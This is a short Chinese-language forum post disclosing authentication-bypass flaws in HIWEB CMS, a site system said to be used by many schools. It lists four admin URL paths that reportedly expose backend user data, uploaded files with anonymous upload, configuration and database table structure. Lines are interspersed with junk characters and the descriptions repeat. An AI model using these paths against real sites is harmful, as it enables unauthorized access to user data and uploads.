hiweb cms后台多出权限绕过

admin

  HIWEB是一套整站管理系统，很多学校在用这个来搭站。但是此cms后台存在多处权限绕过的问题。

: W" D/ n  L. u
- y' V+ ^9 Y7 ^5 D0 u1. http://xxxx/hiwebcms/system/USER/
' ~' G# y0 J6 a9 `, _/ k, Q# h可以直接看到所有后台用户信息

2. http://xxxx/hiwebcms/system/sysSetup/filesManage.htm
1 a& _5 c7 t$ P8 n% k可以查看所有上传的文件，匿名用户也可以上传文件。
9 C- I9 K, f" u; @+ T5 l% A" s0 b
+ Z: n% A0 e! n8 a5 u. q3. http://xxxx/hiwebcms/system/sysSetup/sysSetup.htm
1 ^  N; o) O$ I/ H可以查看cms的部分配置
5 t" q& E! ~. D4 Q* \: `6 k  w6 h
# G! W4 J3 @; I6 F3 |1 b4 v4. http://xxxx/hiwebcms/system/USER/userConfig.htm
& N! l0 _  @- Y查看数据库中部分表结构

可以直接看到所有后台用户信息
& ?6 F/ z8 }5 y) u9 H​


% c, b; D! j' T3 }" W* c可以查看所有上传的文件，匿名用户也可以上传文件。
/ \4 s  c7 A$ X5 E6 J7 b" f5 q3 Y
​

# x2 u& t! X' j) _' L/ Y
可以查看cms的部分配置

# X; q( S: D. F) k1 {. T! B​
: A4 W0 A, s6 u4 N* C) I3 I; L  v
$ q! r, ?/ M. Y8 K1 ~( T) `
& F& E/ u( R/ C* ~& g$ @查看数据库中部分表结构

% X8 Y& `1 P1 D0 C​